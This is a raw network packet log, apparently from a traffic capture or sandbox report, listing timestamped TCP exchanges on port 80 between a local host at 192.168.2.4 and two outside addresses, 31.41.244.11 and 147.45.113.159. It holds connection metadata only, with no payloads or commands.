Dec 19, 2024 20:11:52.957868099 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.957904100 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.957956076 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.958858967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.958924055 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.958956003 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.959007025 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.959585905 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.959635973 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.959639072 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.959688902 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.960414886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.960467100 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.960577011 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.960628033 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.961313009 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.961364985 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.961402893 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.961455107 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.962110996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.962158918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.962220907 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.962269068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.963010073 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.963063002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.963229895 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.963274002 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.963893890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.963943005 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.964000940 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.964057922 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.964864969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.964936018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.964941025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.964989901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.965591908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.965648890 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.965684891 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.965734959 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.966453075 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.966507912 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.966578960 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.966634035 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.967369080 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.967422962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.967551947 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.967606068 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.968230963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.968286037 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.968355894 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.968421936 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.969062090 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.969115019 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.969177008 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.969228983 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.969954967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.970010996 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.970108032 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.970160007 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.970858097 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.970935106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.970971107 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.971021891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.971666098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.971719027 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.971803904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.971853018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.972532988 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.972587109 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.972645998 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.972700119 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.973388910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.973474026 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.973527908 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.973577023 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.974292040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.974340916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.974433899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.974486113 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.975176096 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.975228071 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.975317955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.975368977 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.976022959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.976074934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.976253986 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.976300955 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.977087021 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.977144957 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.977171898 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.977221012 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.977757931 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.977822065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.977910995 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.977961063 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.978596926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.978646040 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.978704929 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.978751898 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.979507923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.979573011 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.979602098 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.979652882 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.980382919 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.980439901 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.980477095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.980525017 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.981235981 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.981288910 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.981375933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.981426001 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.982085943 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.982139111 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.982176065 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.982227087 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.982968092 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.983020067 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.983141899 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.983191013 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.983922005 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.983973980 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.984050989 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.984101057 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.984730959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.984782934 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.984846115 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.984908104 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.985544920 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.985600948 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.985688925 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.985737085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.986582994 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.986633062 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.986696959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.986745119 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.987344980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.987394094 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.987428904 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.987478018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.988193035 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.988244057 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.988327026 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.988375902 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.989021063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.989069939 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.989140987 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.989190102 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:52.989864111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:52.989917994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.026875973 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.026988983 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044485092 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044493914 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044570923 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044570923 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044641972 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044651031 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044675112 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044701099 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044709921 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044714928 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044756889 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044781923 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044806004 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044826984 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044850111 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044855118 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044866085 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.044922113 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.044944048 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045015097 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.045023918 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045056105 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045087099 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.045155048 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.045181036 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045202971 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045243979 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.045289040 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045377016 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045428038 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045480013 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045490026 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045624018 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045665026 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045675993 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045810938 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045845032 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045947075 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.045998096 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.046011925 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.046067953 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.046230078 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.046240091 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.046284914 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.046288967 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.046330929 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.087114096 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.087176085 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.136636019 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.136693954 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.136750937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.136790991 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.137027025 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.137079000 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.137155056 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.137202978 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.137331963 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.137383938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.138056040 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.138104916 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.138143063 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.138226986 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.138909101 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.138957024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.139095068 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.139139891 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.139812946 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.139862061 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.139925957 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.139967918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.140695095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.140741110 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.140777111 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.140819073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.141535997 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.141580105 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.141668081 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.141711950 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.142452002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.142494917 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.142525911 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.142539024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.143291950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.143356085 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.143409967 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.143639088 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.144139051 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.144229889 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.144253016 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.144324064 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.145072937 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.145123959 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.145163059 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.145205021 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.145939112 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.145987034 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.146029949 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.146070957 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.146611929 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.146682024 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.146724939 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.146764994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.146887064 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.146933079 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.147629976 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.147681952 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.147717953 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.147761106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.148498058 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.148551941 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.148904085 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.148973942 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.149403095 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.149447918 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.149480104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.149544954 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.150279045 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.150324106 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.150389910 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.150439024 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.151151896 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.151197910 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.151235104 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.151292086 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.152041912 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.152097940 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.152143002 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.152185917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.152844906 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.152906895 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.152998924 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.153049946 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.153708935 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.153764009 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.153795958 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.153836966 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.154587984 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.154638052 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.154669046 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.154711008 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.155411959 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.155464888 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.155524015 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.155571938 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.156286955 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.156343937 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.156457901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.156500101 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.157327890 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.157377958 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.157605886 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.157675028 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.158046007 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.158093929 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.158150911 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.158199072 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.158924103 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.158976078 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.159070969 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.159173965 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.159781933 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.159836054 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.159867048 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.159909010 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.160600901 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.160682917 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.160743952 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.160798073 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.161567926 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.161617994 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.161670923 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.161741018 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.162379980 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.162436962 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.162616968 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.162672997 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.163270950 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.163320065 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.163444996 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.163491964 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.164093018 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.164141893 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.164205074 CET	80	49877	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:53.164247990 CET	49877	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:53.164381981 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164417028 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164452076 CET	49886	80	192.168.2.4	147.45.113.159
Dec 19, 2024 20:11:53.164453030 CET	80	49886	147.45.113.159	192.168.2.4
Dec 19, 2024 20:11:53.164469957 CET	49886	80	192.168.2.4	147.45.113.159
